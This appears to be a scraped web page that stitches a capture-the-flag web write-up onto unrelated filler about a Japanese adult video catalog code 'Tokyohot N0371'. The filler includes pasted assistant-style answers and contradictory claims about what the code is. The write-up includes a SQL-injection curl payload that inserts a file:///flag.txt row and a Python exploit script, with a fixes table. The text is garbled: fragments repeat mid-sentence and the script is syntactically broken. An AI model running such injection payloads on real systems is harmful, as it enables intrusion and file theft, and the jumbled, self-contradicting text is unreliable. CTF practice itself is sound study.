Tokyohot N0371 · Essential

| Issue | Fix | |-------|-----| | SQL injection in search.php | Use prepared statements ($stmt = $db->prepare('SELECT * FROM movies WHERE title LIKE :q'); $stmt->execute([':q' => "%$q%"]);). | | Multiple‑statement execution in SQLite | Disable sqlite3.enable_load_extension and use PDO::ATTR_EMULATE_PREPARES => false. | | Blind inclusion of user‑controlled URLs (video_url → <video src> ) | Whitelist allowed URL schemes (e.g., only https:// and http://), or serve video URLs via a proxy that validates the path. | | Direct exposure of source files (inc/func.php is served as plain text) | Place PHP source files outside the web root or configure the server to deny serving .php as plain text. |

/search.php is not linked from the UI but is present on the server (found via Gobuster). Its source:

// search.php
require '../inc/func.php';
$q = $_GET['q'];
$rows = $db->query("SELECT * FROM movies WHERE title LIKE '%$q%'")->fetchAll();
foreach ($rows as $r) 
    echo "<a href='watch.php?vid=$r['id']'>$r['title']</a><br>";

Problem: The query concatenates the user‑supplied $q directly into the SQL statement – classic SQLi.

The Tokyo Hot series is part of a larger trend of adult entertainment in Japan, known for its distinctive style and thematic elements. Adult video (AV) production is a significant segment of Japan's entertainment industry, with a complex history that reflects changing societal attitudes towards sex, entertainment, and censorship.

$ gobuster dir -u http://<IP>:<PORT>/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

Found:

/index.php
/inc/func.php
/watch.php
/images/

No hidden directories.

If you're interested in learning more about Tokyo Hot or similar adult entertainment, it's essential to approach the topic with an understanding of the cultural, legal, and personal implications involved. tokyohot n0371

The Tokyohot N0371 is a model associated with a creative, narrative-driven concept set in Tokyo as of April 2026.

Key Feature: The primary feature of the "Tokyohot N0371" concept is its immersive, urban-focused theme, focusing on the atmosphere of Tokyo, particularly the neon lights and crowded city life.

This seems to represent a creative or fictional theme rather than a consumer electronic product. Tokyohot N0371 Apr 2026

"Tokyo Hot n0371" refers to a specific entry in the catalog of Tokyo Hot, a well-known Japanese adult media studio.

To provide you with the most useful "solid content" or information, here is a breakdown of what this identifier represents and the context surrounding it: What the Identifier Means

Tokyo Hot: The production studio. They are known for a specific "unveiled" style of adult content that differs from the more mainstream Japanese Idol (JAV) videos. | Issue | Fix | |-------|-----| | SQL injection in search

n0371: This is the unique production or serial code used to identify a specific release within their "n" series. Content Context

While I cannot provide explicit descriptions or direct links to adult media, content under this specific production code typically features:

Niche Aesthetic: Tokyo Hot often focuses on "amateur" or "office" themes with a high-definition, minimalist production style.

Release Style: The "n" series is part of their digital/web-exclusive lineup, which often features longer-form scenes compared to standard DVD releases. Usage for Content Creators or Researchers

If you are looking to write about this or catalog it, "solid content" would involve:

Metadata: Listing the release date and the featured performer (often listed on the studio's official Japanese website). /search

Studio Legacy: Discussing Tokyo Hot’s role in the "indie" or "unveiled" market in Japan, which operates differently than the strictly censored mainstream JAV industry.

Availability: Most of this content is distributed via official subscription sites or digital pay-per-view platforms based in Japan.

Write‑up – “tokyohot n0371”
(CTF challenge – Web / LFI / SSRF blend – 100 pts)

curl "http://<IP>:<PORT>/search.php?q=foo';INSERT+INTO+movies+(id,title,video_url)+VALUES+(9999,'pwn','file:///flag.txt');--"

The video_url field is under our control because we can insert arbitrary rows into the SQLite DB via a SQL injection in another hidden endpoint.

#!/usr/bin/env python3
import requests, urllib.parse
BASE = "http://ip:port".format(ip="10.10.10.10", port=8080)
def inject():
    payload = "foo';INSERT INTO movies (id,title,video_url) VALUES (9999,'pwn','file:///flag.txt');--"
    url = f"BASE/search.php?q=urllib.parse.quote(payload)"
    r = requests.get(url)
    print("[*] Injection sent, status:", r.status_code)
def get_flag():
    url = f"BASE/watch.php?vid=9999"
    # Force the server to stream the file – use Range to avoid large binary data
    r = requests.get(url, headers="Range": "bytes=0-200")
    print("[*] Flag response:")
    print(r.text)
if __name__ == "__main__":
    inject()
    get_flag()

Running the script prints the flag.